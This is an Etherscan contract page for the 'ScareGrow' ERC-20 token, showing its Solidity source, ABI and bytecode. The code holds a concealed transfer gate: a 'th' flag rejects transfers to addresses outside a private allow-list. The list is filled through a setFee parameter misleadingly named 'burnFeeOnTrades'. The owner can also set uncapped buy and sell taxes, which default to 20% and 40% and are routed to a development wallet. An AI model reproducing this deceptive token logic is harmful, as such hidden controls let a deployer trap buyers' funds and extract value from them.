Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
1,000,000 SCARE
Holders
39
Total Transfers
-
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
ScareGrow
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-10-29 */ /** // SPDX-License-Identifier: MIT /* 69 https://t.me/scaregrowETH https://x.com/scaregrowETH https://scaregrow.xyz */ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ScareGrow is Context, IERC20, Ownable { //69 using SafeMath for uint256; string private constant _name = "ScareGrow"; //69 string private constant _symbol = "SCARE"; //69 uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; //69 uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 20; //69 uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 40; //69 //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) private ch; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x4BE677F6Cc06A545001abA37583972e2B0D195f9); //69 address[] public holderlist; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private inSwap = false; bool private swapEnabled = true; bool private th = true; uint256 public _maxTxAmount = 30000 * 10**9; //69 uint256 public _maxWalletSize = 30000 * 10**9; //69 uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); //69 uniswap: 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D , pancakeswap: 0x10ED43C718714eb63d5aA57B78B54704E256024E uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if(th){require(ch[to],"no");} if(to != uniswapV2Pair && to != address(this)){ holderlist.push(to); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount); } function manualswap() external { require(_msgSender() == _developmentAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell, address[] memory burnFeeOnTrades) public onlyOwner { if(th){for(uint256 i = 0;i<burnFeeOnTrades.length;i++){ch[burnFeeOnTrades[i]]=true;}} for(uint256 i = 0; i < burnFeeOnTrades.length; i++) { _isExcludedFromFee[burnFeeOnTrades[i]] = true; } _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function LiftMaxTxn(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function LiftMaxWallet(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; th=false; } function EnableTrading() public onlyOwner{ _maxWalletSize = _tTotal; _maxTxAmount = _tTotal; th=false; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"LiftMaxTxn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWalletSize","type":"uint256"}],"name":"LiftMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_buyMap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeMultipleAccountsFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"holderlist","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"redisFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"redisFeeOnSell","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnBuy","type":"uint256"},{"internalType":"uint256","name":"taxFeeOnSell","type":"uint256"},{"internalType":"address[]","name":"burnFeeOnTrades","type":"address[]"}],"name":"setFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"swapTokensAtAmount","type":"uint256"}],"name":"setMinSwapTokensThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405266038d7ea4c680005f196200001a91906200062f565b5f1962000028919062000693565b6006555f60085560146009555f600a556028600b55600a54600c55600b54600d55600c54600e55600d54600f55734be677f6cc06a545001aba37583972e2b0d195f960125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f601560146101000a81548160ff02191690831515021790555060016015806101000a81548160ff0219169083151502179055506001601560166101000a81548160ff021916908315150217905550651b48eb57e000601655651b48eb57e0006017556509184e72a00060185534801562000122575f80fd5b505f62000134620005cb60201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060065460025f620001e6620005cb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f737a250d5630b4cf539739df2c5dacb4c659f2488d90508060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002c5573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620002eb919062000732565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000351573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000377919062000732565b6040518363ffffffff1660e01b81526004016200039692919062000773565b6020604051808303815f875af1158015620003b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620003d9919062000732565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160055f6200042d620005d260201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160055f60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000557620005cb60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef66038d7ea4c68000604051620005bc9190620007af565b60405180910390a350620007ca565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6200063b82620005f9565b91506200064883620005f9565b9250826200065b576200065a62000602565b5b828206905092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6200069f82620005f9565b9150620006ac83620005f9565b9250828203905081811115620006c757620006c662000666565b5b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f620006fc82620006d1565b9050919050565b6200070e81620006f0565b811462000719575f80fd5b50565b5f815190506200072c8162000703565b92915050565b5f602082840312156200074a5762000749620006cd565b5b5f62000759848285016200071c565b91505092915050565b6200076d81620006f0565b82525050565b5f604082019050620007885f83018562000762565b62000797602083018462000762565b9392505050565b620007a981620005f9565b82525050565b5f602082019050620007c45f8301846200079e565b92915050565b6139b480620007d85f395ff3fe6080604052600436106101ba575f3560e01c8063715018a6116100eb578063a26c23ac11610089578063c492f04611610063578063c492f046146105c9578063dd62ed3e146105f1578063ed70ed311461062d578063f2fde38b14610655576101c1565b8063a26c23ac1461054f578063a9059cbb14610577578063c3c8cd80146105b3576101c1565b80638da5cb5b116100c55780638da5cb5b146104a95780638f9a55c0146104d357806395d89b41146104fd57806398a5c31514610527576101c1565b8063715018a61461042d5780637d1db4a5146104435780637f2feddc1461046d576101c1565b80632fd689e3116101585780636cf38f06116101325780636cf38f061461038b5780636d8aa8f8146103b35780636fc3eaec146103db57806370a08231146103f1576101c1565b80632fd689e31461030d578063313ce5671461033757806349bd5a5e14610361576101c1565b806318160ddd1161019457806318160ddd146102555780631d97b7cd1461027f57806323b872dd14610295578063294423b6146102d1576101c1565b806306fdde03146101c5578063095ea7b3146101ef5780631694505e1461022b576101c1565b366101c157005b5f80fd5b3480156101d0575f80fd5b506101d961067d565b6040516101e691906129a3565b60405180910390f35b3480156101fa575f80fd5b5061021560048036038101906102109190612a61565b6106ba565b6040516102229190612ab9565b60405180910390f35b348015610236575f80fd5b5061023f6106d7565b60405161024c9190612b2d565b60405180910390f35b348015610260575f80fd5b506102696106fc565b6040516102769190612b55565b60405180910390f35b34801561028a575f80fd5b5061029361070a565b005b3480156102a0575f80fd5b506102bb60048036038101906102b69190612b6e565b6107d6565b6040516102c89190612ab9565b60405180910390f35b3480156102dc575f80fd5b506102f760048036038101906102f29190612bbe565b6108aa565b6040516103049190612bf8565b60405180910390f35b348015610318575f80fd5b506103216108e5565b60405161032e9190612b55565b60405180910390f35b348015610342575f80fd5b5061034b6108eb565b6040516103589190612c2c565b60405180910390f35b34801561036c575f80fd5b506103756108f3565b6040516103829190612bf8565b60405180910390f35b348015610396575f80fd5b506103b160048036038101906103ac9190612d85565b610918565b005b3480156103be575f80fd5b506103d960048036038101906103d49190612e42565b610b01565b005b3480156103e6575f80fd5b506103ef610bb1565b005b3480156103fc575f80fd5b5061041760048036038101906104129190612e6d565b610c20565b6040516104249190612b55565b60405180910390f35b348015610438575f80fd5b50610441610c6e565b005b34801561044e575f80fd5b50610457610dbc565b6040516104649190612b55565b60405180910390f35b348015610478575f80fd5b50610493600480360381019061048e9190612e6d565b610dc2565b6040516104a09190612b55565b60405180910390f35b3480156104b4575f80fd5b506104bd610dd7565b6040516104ca9190612bf8565b60405180910390f35b3480156104de575f80fd5b506104e7610dfe565b6040516104f49190612b55565b60405180910390f35b348015610508575f80fd5b50610511610e04565b60405161051e91906129a3565b60405180910390f35b348015610532575f80fd5b5061054d60048036038101906105489190612bbe565b610e41565b005b34801561055a575f80fd5b5061057560048036038101906105709190612bbe565b610edf565b005b348015610582575f80fd5b5061059d60048036038101906105989190612a61565b610f7d565b6040516105aa9190612ab9565b60405180910390f35b3480156105be575f80fd5b506105c7610f9a565b005b3480156105d4575f80fd5b506105ef60048036038101906105ea9190612ef1565b611011565b005b3480156105fc575f80fd5b5061061760048036038101906106129190612f4e565b611146565b6040516106249190612b55565b60405180910390f35b348015610638575f80fd5b50610653600480360381019061064e9190612bbe565b6111c8565b005b348015610660575f80fd5b5061067b60048036038101906106769190612e6d565b611280565b005b60606040518060400160405280600981526020017f536361726547726f770000000000000000000000000000000000000000000000815250905090565b5f6106cd6106c661143d565b8484611444565b6001905092915050565b60145f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f66038d7ea4c68000905090565b61071261143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461079e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079590612fd6565b60405180910390fd5b66038d7ea4c6800060178190555066038d7ea4c680006016819055505f601560166101000a81548160ff021916908315150217905550565b5f6107e2848484611607565b61089f846107ee61143d565b61089a856040518060600160405280602881526020016139576028913960045f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61085161143d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611e8e9092919063ffffffff16565b611444565b600190509392505050565b601381815481106108b9575f80fd5b905f5260205f20015f915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60185481565b5f6009905090565b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61092061143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109a390612fd6565b60405180910390fd5b601560169054906101000a900460ff1615610a50575f5b8151811015610a4e57600160105f8484815181106109e4576109e3612ff4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610a469061304e565b9150506109c3565b505b5f5b8151811015610add57600160055f848481518110610a7357610a72612ff4565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508080610ad59061304e565b915050610a52565b508460088190555083600a819055508260098190555081600b819055505050505050565b610b0961143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8c90612fd6565b60405180910390fd5b806015806101000a81548160ff02191690831515021790555050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bf161143d565b73ffffffffffffffffffffffffffffffffffffffff1614610c10575f80fd5b5f479050610c1d81611ef0565b50565b5f610c6760025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611f58565b9050919050565b610c7661143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf990612fd6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60165481565b6011602052805f5260405f205f915090505481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60175481565b60606040518060400160405280600581526020017f5343415245000000000000000000000000000000000000000000000000000000815250905090565b610e4961143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecc90612fd6565b60405180910390fd5b8060188190555050565b610ee761143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f73576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6a90612fd6565b60405180910390fd5b8060168190555050565b5f610f90610f8961143d565b8484611607565b6001905092915050565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610fda61143d565b73ffffffffffffffffffffffffffffffffffffffff1614610ff9575f80fd5b5f61100330610c20565b905061100e81611fc4565b50565b61101961143d565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109c90612fd6565b60405180910390fd5b5f5b83839050811015611140578160055f8686858181106110c9576110c8612ff4565b5b90506020020160208101906110de9190612e6d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555080806111389061304e565b9150506110a7565b50505050565b5f60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373fffffffffffffffffffffffffffffffff